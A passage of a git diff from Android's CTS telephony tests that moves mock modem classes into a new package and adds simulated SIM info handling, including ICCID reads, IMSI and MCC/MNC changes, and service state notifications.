+ IRadioNetworkIndication radioNetworkIndication) {
+ Log.d(TAG, "setResponseFunctions");
+ mRadioNetworkResponse = radioNetworkResponse;
+ mRadioNetworkIndication = radioNetworkIndication;
+ mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+ }
+
+ @Override
+ public void setSignalStrengthReportingCriteria(
+ int serial, SignalThresholdInfo[] signalThresholdInfos) {
+ Log.d(TAG, "setSignalStrengthReportingCriteria");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setSignalStrengthReportingCriteriaResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setSignalStrengthReportingCriteria from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setSuppServiceNotifications(int serial, boolean enable) {
+ Log.d(TAG, "setSuppServiceNotifications");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setSuppServiceNotificationsResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setSuppServiceNotifications from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setSystemSelectionChannels(
+ int serial, boolean specifyChannels, RadioAccessSpecifier[] specifiers) {
+ Log.d(TAG, "setSystemSelectionChannels");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setSystemSelectionChannelsResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setSystemSelectionChannels from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void startNetworkScan(int serial, NetworkScanRequest request) {
+ Log.d(TAG, "startNetworkScan");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.startNetworkScanResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to startNetworkScan from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void stopNetworkScan(int serial) {
+ Log.d(TAG, "stopNetworkScan");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.stopNetworkScanResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to stopNetworkScan from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void supplyNetworkDepersonalization(int serial, String netPin) {
+ Log.d(TAG, "supplyNetworkDepersonalization");
+ int remainingRetries = 0;
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.supplyNetworkDepersonalizationResponse(rsp, remainingRetries);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to supplyNetworkDepersonalization from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void setUsageSetting(int serial, int usageSetting) {
+ Log.d(TAG, "setUsageSetting");
+ int remainingRetries = 0;
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.setUsageSettingResponse(rsp);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to setUsageSetting from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public void getUsageSetting(int serial) {
+ Log.d(TAG, "getUsageSetting");
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ try {
+ mRadioNetworkResponse.getUsageSettingResponse(rsp, -1 /* Invalid value */);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to getUsageSetting from AIDL. Exception" + ex);
+ }
+ }
+
+ @Override
+ public String getInterfaceHash() {
+ return IRadioNetwork.HASH;
+ }
+
+ @Override
+ public int getInterfaceVersion() {
+ return IRadioNetwork.VERSION;
+ }
+
+ public void unsolNetworkStateChanged() {
+ Log.d(TAG, "unsolNetworkStateChanged");
+
+ // Notify other module
+ notifyServiceStateChange();
+
+ if (mRadioNetworkIndication != null) {
+ try {
+ mRadioNetworkIndication.networkStateChanged(RadioIndicationType.UNSOLICITED);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to invoke networkStateChanged from AIDL. Exception" + ex);
+ }
+ } else {
+ Log.e(TAG, "null mRadioNetworkIndication");
+ }
+ }
+
+ public void unsolCurrentSignalStrength() {
+ Log.d(TAG, "unsolCurrentSignalStrength");
+ if (mRadioState != MockModemConfigInterface.RADIO_STATE_ON) {
+ return;
+ }
+
+ if (mRadioNetworkIndication != null) {
+ android.hardware.radio.network.SignalStrength signalStrength =
+ new android.hardware.radio.network.SignalStrength();
+
+ synchronized (mCacheUpdateMutex) {
+ signalStrength = mServiceState.getSignalStrength();
+ }
+
+ try {
+ mRadioNetworkIndication.currentSignalStrength(
+ RadioIndicationType.UNSOLICITED, signalStrength);
+ } catch (RemoteException ex) {
+ Log.e(
+ TAG,
+ "Failed to invoke currentSignalStrength change from AIDL. Exception" + ex);
+ }
+ } else {
+ Log.e(TAG, "null mRadioNetworkIndication");
+ }
+ }
+
+ public void unsolCellInfoList() {
+ Log.d(TAG, "unsolCellInfoList");
+
+ if (mRadioState != MockModemConfigInterface.RADIO_STATE_ON) {
+ return;
+ }
+
+ if (mRadioNetworkIndication != null) {
+ android.hardware.radio.network.CellInfo[] cells;
+
+ synchronized (mCacheUpdateMutex) {
+ cells = mServiceState.getCells();
+ }
+ try {
+ mRadioNetworkIndication.cellInfoList(RadioIndicationType.UNSOLICITED, cells);
+ } catch (RemoteException ex) {
+ Log.e(TAG, "Failed to invoke cellInfoList change from AIDL. Exception" + ex);
+ }
+ } else {
+ Log.e(TAG, "null mRadioNetworkIndication");
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioSimImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
similarity index 79%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioSimImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
index 08980a3..7863d53 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioSimImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioSimImpl.java
@@ -14,7 +14,11 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
+
+import static android.telephony.mockmodem.MockSimService.COMMAND_GET_RESPONSE;
+import static android.telephony.mockmodem.MockSimService.COMMAND_READ_BINARY;
+import static android.telephony.mockmodem.MockSimService.EF_ICCID;
import android.hardware.radio.RadioError;
import android.hardware.radio.RadioIndicationType;
@@ -23,18 +27,19 @@
import android.hardware.radio.sim.IRadioSim;
import android.hardware.radio.sim.IRadioSimIndication;
import android.hardware.radio.sim.IRadioSimResponse;
+import android.hardware.radio.sim.SimRefreshResult;
import android.os.AsyncResult;
import android.os.Handler;
import android.os.Message;
import android.os.RemoteException;
-import android.telephony.cts.MockSimService.SimAppData;
+import android.telephony.mockmodem.MockModemConfigBase.SimInfoChangedResult;
+import android.telephony.mockmodem.MockSimService.SimAppData;
import android.util.Log;
import java.util.ArrayList;
public class IRadioSimImpl extends IRadioSim.Stub {
private static final String TAG = "MRSIM";
-
private final MockModemService mService;
private IRadioSimResponse mRadioSimResponse;
private IRadioSimIndication mRadioSimIndication;
@@ -46,6 +51,7 @@
// ***** Events
static final int EVENT_SIM_CARD_STATUS_CHANGED = 1;
static final int EVENT_SIM_APP_DATA_CHANGED = 2;
+ static final int EVENT_SIM_INFO_CHANGED = 3;
// ***** Cache of modem attributes/status
private int mNumOfLogicalSim;
@@ -71,6 +77,10 @@
// Register events
sMockModemConfigInterfaces[mSubId].registerForSimAppDataChanged(
mHandler, EVENT_SIM_APP_DATA_CHANGED, null);
+
+ // Register events
+ sMockModemConfigInterfaces[mSubId].registerForSimInfoChanged(
+ mHandler, EVENT_SIM_INFO_CHANGED, null);
}
/** Handler class to handle callbacks */
@@ -106,6 +116,30 @@
Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
}
break;
+
+ case EVENT_SIM_INFO_CHANGED:
+ ar = (AsyncResult) msg.obj;
+ if (ar != null && ar.exception == null) {
+ SimInfoChangedResult simInfoChangeResult =
+ (SimInfoChangedResult) ar.result;
+ Log.d(TAG, "Received EVENT_SIM_INFO_CHANGED: " + simInfoChangeResult);
+ SimRefreshResult simRefreshResult = new SimRefreshResult();
+ switch (simInfoChangeResult.mSimInfoType) {
+ case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+ case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+ if (simRefreshResult != null) {
+ simRefreshResult.type =
+ SimRefreshResult.TYPE_SIM_FILE_UPDATE;
+ simRefreshResult.efId = simInfoChangeResult.mEfId;
+ simRefreshResult.aid = simInfoChangeResult.mAid;
+ simRefresh(simRefreshResult);
+ }
+ break;
+ }
+ } else {
+ Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+ }
+ break;
}
}
}
@@ -244,26 +278,28 @@
boolean isFacilitySupport = true;
int responseData = -1;
- // TODO: check service class
- for (simAppIdx = 0;
- simAppIdx < numOfSimApp && isFacilitySupport && !isHandled;
- simAppIdx++) {
- switch (facility) {
- case "FD": // FDN status query
- if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
- responseData = mSimAppList.get(simAppIdx).getFdnStatus();
- isHandled = true;
- }
- break;
- case "SC": // PIN1 status query
- if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
- responseData = mSimAppList.get(simAppIdx).getPin1State();
- isHandled = true;
- }
- break;
- default:
- isFacilitySupport = false;
- break;
+ synchronized (mCacheUpdateMutex) {
+ // TODO: check service class
+ for (simAppIdx = 0;
+ simAppIdx < numOfSimApp && isFacilitySupport && !isHandled;
+ simAppIdx++) {
+ switch (facility) {
+ case "FD": // FDN status query
+ if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
+ responseData = mSimAppList.get(simAppIdx).getFdnStatus();
+ isHandled = true;
+ }
+ break;
+ case "SC": // PIN1 status query
+ if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
+ responseData = mSimAppList.get(simAppIdx).getPin1State();
+ isHandled = true;
+ }
+ break;
+ default:
+ isFacilitySupport = false;
+ break;
+ }
}
}
@@ -311,10 +347,14 @@
int simAppIdx;
boolean isHandled;
- for (simAppIdx = 0, isHandled = false; simAppIdx < numOfSimApp && !isHandled; simAppIdx++) {
- if (aid.equals(mSimAppList.get(simAppIdx).getAid())) {
- imsi = mSimAppList.get(simAppIdx).getImsi();
- isHandled = true;
+ synchronized (mCacheUpdateMutex) {
+ for (simAppIdx = 0, isHandled = false;
+ simAppIdx < numOfSimApp && !isHandled;
+ simAppIdx++) {
+ if (aid.equals(mSimAppList.get(simAppIdx).getAid())) {
+ imsi = mSimAppList.get(simAppIdx).getImsi();
+ isHandled = true;
+ }
}
}
@@ -371,14 +411,117 @@
}
}
+ private String encodeBcdString(String str) {
+ StringBuffer bcdString = new StringBuffer();
+
+ if (str.length() % 2 != 0) {
+ Log.d(TAG, "Invalid string(" + str + ") for Bcd format");
+ return "";
+ }
+
+ for (int i = 0; i < str.length(); i += 2) {
+ bcdString.append(str.substring(i + 1, i + 2));
+ bcdString.append(str.substring(i, i + 1));
+ }
+
+ return bcdString.toString();
+ }
+
+ private int getIccIoResult(
+ android.hardware.radio.sim.IccIoResult iccIoResult,
+ int command,
+ int fileId,
+ String path,
+ int p1,
+ int p2,
+ int p3,
+ String aid) {
+ int numOfSimApp = mSimAppList.size();
+ int simAppIdx;
+ boolean foundAid;
+ int responseError = RadioError.GENERIC_FAILURE;
+
+ if (iccIoResult == null) {
+ return responseError;
+ }
+
+ synchronized (mCacheUpdateMutex) {
+ for (simAppIdx = 0, foundAid = false; simAppIdx < numOfSimApp; simAppIdx++) {
+ if (aid.equals(mSimAppList.get(simAppIdx).getAid())) {
+ foundAid = true;
+ break;
+ }
+ }
+
+ if (!foundAid) {
+ Log.e(TAG, "Not support sim application aid = " + aid);
+ iccIoResult.sw1 = 0x6A;
+ iccIoResult.sw2 = 0x82;
+ } else {
+ switch (fileId) {
+ case EF_ICCID:
+ if (command == COMMAND_READ_BINARY) {
+ String bcdIccid =
+ encodeBcdString(mSimAppList.get(simAppIdx).getIccid());
+ iccIoResult.simResponse = bcdIccid;
+ Log.d(TAG, "Get IccIo result: ICCID = " + iccIoResult.simResponse);
+ iccIoResult.sw1 = 0x90;
+ responseError = RadioError.NONE;
+ } else if (command == COMMAND_GET_RESPONSE) {
+ iccIoResult.simResponse = mSimAppList.get(simAppIdx).getIccidInfo();
+ Log.d(TAG, "Get IccIo result: ICCID = " + iccIoResult.simResponse);
+ iccIoResult.sw1 = 0x90;
+ responseError = RadioError.NONE;
+ } else {
+ Log.d(
+ TAG,
+ "Command("
+ + command
+ + ") not support for file id = 0x"
+ + Integer.toHexString(fileId));
+ iccIoResult.sw1 = 0x6A;
+ iccIoResult.sw2 = 0x82;
+ }
+ break;
+ default:
+ Log.d(TAG, "Not find EF file id = 0x" + Integer.toHexString(fileId));
+ iccIoResult.sw1 = 0x6A;
+ iccIoResult.sw2 = 0x82;
+ break;
+ }
+ }
+ }
+
+ return responseError;
+ }
+
@Override
public void iccIoForApp(int serial, android.hardware.radio.sim.IccIo iccIo) {
Log.d(TAG, "iccIoForApp");
- // TODO: cache value
+ int responseError = RadioError.NONE;
android.hardware.radio.sim.IccIoResult iccIoResult =
new android.hardware.radio.sim.IccIoResult();
- RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+ switch (iccIo.command) {
+ case COMMAND_READ_BINARY:
+ case COMMAND_GET_RESPONSE:
+ responseError =
+ getIccIoResult(
+ iccIoResult,
+ iccIo.command,
+ iccIo.fileId,
+ iccIo.path,
+ iccIo.p1,
+ iccIo.p2,
+ iccIo.p3,
+ iccIo.aid);
+ break;
+ default:
+ responseError = RadioError.REQUEST_NOT_SUPPORTED;
+ break;
+ }
+
+ RadioResponseInfo rsp = mService.makeSolRsp(serial, responseError);
try {
mRadioSimResponse.iccIoForAppResponse(rsp, iccIoResult);
} catch (RemoteException ex) {
@@ -739,7 +882,7 @@
}
}
- public void simRefresh(android.hardware.radio.sim.SimRefreshResult refreshResult) {
+ public void simRefresh(SimRefreshResult refreshResult) {
Log.d(TAG, "simRefresh");
if (mRadioSimIndication != null) {
@@ -838,4 +981,14 @@
Log.e(TAG, "null mRadioSimIndication");
}
}
+
+ @Override
+ public String getInterfaceHash() {
+ return IRadioSim.HASH;
+ }
+
+ @Override
+ public int getInterfaceVersion() {
+ return IRadioSim.VERSION;
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioVoiceImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioVoiceImpl.java
similarity index 98%
rename from tests/tests/telephony/current/src/android/telephony/cts/IRadioVoiceImpl.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioVoiceImpl.java
index 4a415cd..1b525fd 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioVoiceImpl.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioVoiceImpl.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
import android.hardware.radio.RadioError;
import android.hardware.radio.RadioIndicationType;
@@ -749,4 +749,14 @@
Log.e(TAG, "null mRadioVoiceIndication");
}
}
+
+ @Override
+ public String getInterfaceHash() {
+ return IRadioVoice.HASH;
+ }
+
+ @Override
+ public int getInterfaceVersion() {
+ return IRadioVoice.VERSION;
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigBase.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigBase.java
similarity index 62%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigBase.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigBase.java
index a77dd66..86f6a74 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigBase.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigBase.java
@@ -14,7 +14,9 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
+
+import static android.telephony.mockmodem.MockSimService.EF_ICCID;
import android.content.Context;
import android.hardware.radio.config.PhoneCapability;
@@ -23,13 +25,15 @@
import android.hardware.radio.config.SlotPortMapping;
import android.hardware.radio.sim.CardStatus;
import android.os.AsyncResult;
+import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.os.RegistrantList;
-import android.telephony.cts.MockSimService.SimAppData;
+import android.telephony.mockmodem.MockSimService.SimAppData;
import android.util.Log;
import java.util.ArrayList;
+import java.util.Random;
public class MockModemConfigBase implements MockModemConfigInterface {
// ***** Instance Variables
@@ -39,13 +43,15 @@
private Context mContext;
private int mSubId;
private int mSimPhyicalId;
- private Object mConfigAccess;
+ private final Object mConfigAccess = new Object();
private int mNumOfSim = MockModemConfigInterface.MAX_NUM_OF_SIM_SLOT;
private int mNumOfPhone = MockModemConfigInterface.MAX_NUM_OF_LOGICAL_MODEM;
// ***** Events
static final int EVENT_SET_RADIO_POWER = 1;
static final int EVENT_CHANGE_SIM_PROFILE = 2;
+ static final int EVENT_SERVICE_STATE_CHANGE = 3;
+ static final int EVENT_SET_SIM_INFO = 4;
// ***** Modem config values
private String mBasebandVersion = MockModemConfigInterface.DEFAULT_BASEBAND_VERSION;
@@ -76,6 +82,10 @@
// ***** IRadioSim RegistrantLists
private RegistrantList mCardStatusChangedRegistrants = new RegistrantList();
private RegistrantList mSimAppDataChangedRegistrants = new RegistrantList();
+ private RegistrantList mSimInfoChangedRegistrants = new RegistrantList();
+
+ // ***** IRadioNetwork RegistrantLists
+ private RegistrantList mServiceStateChangedRegistrants = new RegistrantList();
public MockModemConfigBase(Context context, int instanceId, int numOfSim, int numOfPhone) {
mContext = context;
@@ -89,7 +99,6 @@
? MockModemConfigInterface.MAX_NUM_OF_LOGICAL_MODEM
: numOfPhone;
mTAG = mTAG + "[" + mSubId + "]";
- mConfigAccess = new Object();
mHandler = new MockModemConfigHandler();
mSimSlotStatus = new SimSlotStatus[mNumOfSim];
mCardStatus = new CardStatus();
@@ -99,6 +108,33 @@
setDefaultConfigValue();
}
+ public static class SimInfoChangedResult {
+ public static final int SIM_INFO_TYPE_MCC_MNC = 1;
+ public static final int SIM_INFO_TYPE_IMSI = 2;
+ public static final int SIM_INFO_TYPE_ATR = 3;
+
+ public int mSimInfoType;
+ public int mEfId;
+ public String mAid;
+
+ public SimInfoChangedResult(int type, int efid, String aid) {
+ mSimInfoType = type;
+ mEfId = efid;
+ mAid = aid;
+ }
+
+ @Override
+ public String toString() {
+ return "SimInfoChangedResult:"
+ + " simInfoType="
+ + mSimInfoType
+ + " efId="
+ + mEfId
+ + " aId="
+ + mAid;
+ }
+ }
+
public class MockModemConfigHandler extends Handler {
// ***** Handler implementation
@Override
@@ -145,11 +181,63 @@
Log.e(mTAG, "Load Sim card failed.");
}
break;
+ case EVENT_SERVICE_STATE_CHANGE:
+ Log.d(mTAG, "EVENT_SERVICE_STATE_CHANGE");
+ // Notify object MockNetworkService
+ mServiceStateChangedRegistrants.notifyRegistrants(
+ new AsyncResult(null, msg.obj, null));
+ break;
+ case EVENT_SET_SIM_INFO:
+ int simInfoType = msg.getData().getInt("setSimInfo:type", -1);
+ String[] simInfoData = msg.getData().getStringArray("setSimInfo:data");
+ Log.d(
+ mTAG,
+ "EVENT_SET_SIM_INFO: type = "
+ + simInfoType
+ + " data length = "
+ + simInfoData.length);
+ for (int i = 0; i < simInfoData.length; i++) {
+ Log.d(mTAG, "simInfoData[" + i + "] = " + simInfoData[i]);
+ }
+ SimInfoChangedResult simInfoChangeResult =
+ setSimInfo(simInfoType, simInfoData);
+ if (simInfoChangeResult != null) {
+ switch (simInfoChangeResult.mSimInfoType) {
+ case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+ case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+ mSimInfoChangedRegistrants.notifyRegistrants(
+ new AsyncResult(null, simInfoChangeResult, null));
+ mSimAppDataChangedRegistrants.notifyRegistrants(
+ new AsyncResult(null, mSimAppList, null));
+ // Card status changed still needed for updating carrier config
+ // in Telephony Framework
+ if (mSubId == DEFAULT_SUB_ID) {
+ mSimSlotStatusChangedRegistrants.notifyRegistrants(
+ new AsyncResult(null, mSimSlotStatus, null));
+ }
+ mCardStatusChangedRegistrants.notifyRegistrants(
+ new AsyncResult(null, mCardStatus, null));
+ break;
+ case SimInfoChangedResult.SIM_INFO_TYPE_ATR:
+ if (mSubId == DEFAULT_SUB_ID) {
+ mSimSlotStatusChangedRegistrants.notifyRegistrants(
+ new AsyncResult(null, mSimSlotStatus, null));
+ }
+ mCardStatusChangedRegistrants.notifyRegistrants(
+ new AsyncResult(null, mCardStatus, null));
+ break;
+ }
+ }
+ break;
}
}
}
}
+ public Handler getMockModemConfigHandler() {
+ return mHandler;
+ }
+
private void setDefaultConfigValue() {
synchronized (mConfigAccess) {
mBasebandVersion = MockModemConfigInterface.DEFAULT_BASEBAND_VERSION;
@@ -181,7 +269,9 @@
private void createSIMCards() {
for (int i = 0; i < mNumOfSim; i++) {
- mSimService[i] = new MockSimService(mContext, i);
+ if (mSimService[i] == null) {
+ mSimService[i] = new MockSimService(mContext, i);
+ }
}
}
@@ -259,6 +349,100 @@
return result;
}
+ private String generateRandomIccid(String baseIccid) {
+ String newIccid;
+ Random rnd = new Random();
+ StringBuilder randomNum = new StringBuilder();
+
+ // Generate random 12-digit account id
+ for (int i = 0; i < 12; i++) {
+ randomNum.append(rnd.nextInt(10));
+ }
+
+ Log.d(mTAG, "Random Num = " + randomNum.toString());
+
+ // TODO: regenerate checksum
+ // Simply modify account id from base Iccid
+ newIccid =
+ baseIccid.substring(0, 7)
+ + randomNum.toString()
+ + baseIccid.substring(baseIccid.length() - 1);
+
+ Log.d(mTAG, "Generate new Iccid = " + newIccid);
+
+ return newIccid;
+ }
+
+ private SimInfoChangedResult setSimInfo(int simInfoType, String[] simInfoData) {
+ SimInfoChangedResult result = null;
+
+ if (simInfoData == null) {
+ Log.e(mTAG, "simInfoData == null");
+ return result;
+ }
+
+ switch (simInfoType) {
+ case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+ if (simInfoData.length == 2 && simInfoData[0] != null && simInfoData[1] != null) {
+ String msin = mSimService[mSimPhyicalId].getMsin();
+
+ // Adjust msin length to make sure IMSI length is valid.
+ if (simInfoData[1].length() == 3 && msin.length() == 10) {
+ msin = msin.substring(0, msin.length() - 1);
+ Log.d(mTAG, "Modify msin = " + msin);
+ }
+ mSimService[mSimPhyicalId].setImsi(simInfoData[0], simInfoData[1], msin);
+
+ // Auto-generate a new Iccid to change carrier config id in Android Framework
+ mSimService[mSimPhyicalId].setICCID(
+ generateRandomIccid(mSimService[mSimPhyicalId].getICCID()));
+ updateSimSlotStatus();
+ updateCardStatus();
+
+ result =
+ new SimInfoChangedResult(
+ simInfoType,
+ EF_ICCID,
+ mSimService[mSimPhyicalId].getActiveSimAppId());
+ }
+ break;
+ case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+ if (simInfoData.length == 3
+ && simInfoData[0] != null
+ && simInfoData[1] != null
+ && simInfoData[2] != null) {
+ mSimService[mSimPhyicalId].setImsi(
+ simInfoData[0], simInfoData[1], simInfoData[2]);
+
+ // Auto-generate a new Iccid to change carrier config id in Android Framework
+ mSimService[mSimPhyicalId].setICCID(
+ generateRandomIccid(mSimService[mSimPhyicalId].getICCID()));
+ updateSimSlotStatus();
+ updateCardStatus();
+
+ result =
+ new SimInfoChangedResult(
+ simInfoType,
+ EF_ICCID,
+ mSimService[mSimPhyicalId].getActiveSimAppId());
+ }
+ break;
+ case SimInfoChangedResult.SIM_INFO_TYPE_ATR:
+ if (simInfoData[0] != null) {
+ mSimService[mSimPhyicalId].setATR(simInfoData[0]);
+ updateSimSlotStatus();
+ updateCardStatus();
+ result = new SimInfoChangedResult(simInfoType, 0, "");
+ }
+ break;
+ default:
+ Log.e(mTAG, "Not support Sim info type(" + simInfoType + ") to modify");
+ break;
+ }
+
+ return result;
+ }
+
private void notifyDeviceIdentityChangedRegistrants() {
String[] deviceIdentity = new String[4];
synchronized (mConfigAccess) {
@@ -382,6 +566,27 @@
mSimAppDataChangedRegistrants.remove(h);
}
+ @Override
+ public void registerForSimInfoChanged(Handler h, int what, Object obj) {
+ mSimInfoChangedRegistrants.addUnique(h, what, obj);
+ }
+
+ @Override
+ public void unregisterForSimInfoChanged(Handler h) {
+ mSimInfoChangedRegistrants.remove(h);
+ }
+
+ // ***** IRadioNetwork notification implementation
+ @Override
+ public void registerForServiceStateChanged(Handler h, int what, Object obj) {
+ mServiceStateChangedRegistrants.addUnique(h, what, obj);
+ }
+
+ @Override
+ public void unregisterForServiceStateChanged(Handler h) {
+ mServiceStateChangedRegistrants.remove(h);
+ }
+
// ***** IRadioConfig set APIs implementation
// ***** IRadioModem set APIs implementation
@@ -408,7 +613,11 @@
@Override
public boolean isSimCardPresent(String client) {
Log.d(mTAG, "isSimCardPresent from: " + client);
- return (mCardStatus.cardState == CardStatus.STATE_PRESENT) ? true : false;
+ boolean isPresent;
+ synchronized (mConfigAccess) {
+ isPresent = (mCardStatus.cardState == CardStatus.STATE_PRESENT) ? true : false;
+ }
+ return isPresent;
}
@Override
@@ -419,4 +628,39 @@
msg.getData().putInt("changeSimProfile", simprofileid);
mHandler.sendMessage(msg);
}
+
+ @Override
+ public void setSimInfo(int type, String[] data, String client) {
+ Log.d(mTAG, "setSimInfo: type(" + type + ") from: " + client);
+ Message msg = mHandler.obtainMessage(EVENT_SET_SIM_INFO);
+ Bundle bundle = msg.getData();
+ bundle.putInt("setSimInfo:type", type);
+ bundle.putStringArray("setSimInfo:data", data);
+ mHandler.sendMessage(msg);
+ }
+
+ @Override
+ public String getSimInfo(int type, String client) {
+ Log.d(mTAG, "getSimInfo: type(" + type + ") from: " + client);
+ String result = "";
+
+ synchronized (mConfigAccess) {
+ switch (type) {
+ case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+ result = mSimService[mSimPhyicalId].getMccMnc();
+ break;
+ case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+ result = mSimService[mSimPhyicalId].getImsi();
+ break;
+ case SimInfoChangedResult.SIM_INFO_TYPE_ATR:
+ result = mCardStatus.atr;
+ break;
+ default:
+ Log.e(mTAG, "Not support this type of SIM info.");
+ break;
+ }
+ }
+
+ return result;
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigInterface.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigInterface.java
similarity index 79%
rename from tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigInterface.java
rename to tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigInterface.java
index 32b2908..5e5c181 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MockModemConfigInterface.java
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigInterface.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.telephony.cts;
+package android.telephony.mockmodem;
import android.os.Handler;
@@ -42,6 +42,7 @@
int DEFAULT_LOGICAL_MODEM2_ID = 1;
// ***** Methods
+ Handler getMockModemConfigHandler();
/** Broadcast all notifications */
void notifyAllRegistrantNotifications();
@@ -89,6 +90,17 @@
void unregisterForSimAppDataChanged(Handler h);
+ /** Register/unregister notification handler for sim info changed */
+ void registerForSimInfoChanged(Handler h, int what, Object obj);
+
+ void unregisterForSimInfoChanged(Handler h);
+
+ // ***** IRadioNetwork
+ /** Register/unregister notification handler for service status changed */
+ void registerForServiceStateChanged(Handler h, int what, Object obj);
+
+ void unregisterForServiceStateChanged(Handler h);
+
/**
* Sets the latest radio power state of modem
*
@@ -112,4 +124,22 @@
* @param client for tracking calling client
*/
void changeSimProfile(int simProfileId, String client);
+
+ /**
+ * Modify SIM info of the SIM such as MCC/MNC, IMSI, etc.
+ *
+ * @param type the type of SIM info to modify.
+ * @param data to modify for the type of SIM info.
+ * @param client for tracking calling client
+ */
+ void setSimInfo(int type, String[] data, String client);
+
+ /**
+ * Get SIM info of the SIM slot, e.g. MCC/MNC, IMSI.
+ *
+ * @param type the type of SIM info.
+ * @param client for tracking calling client
+ * @return String the SIM info of the queried type.
+ */
+ String getSimInfo(int type, String client);
}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
new file mode 100644
index 0000000..772c7f8
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemManager.java
@@ -0,0 +1,308 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
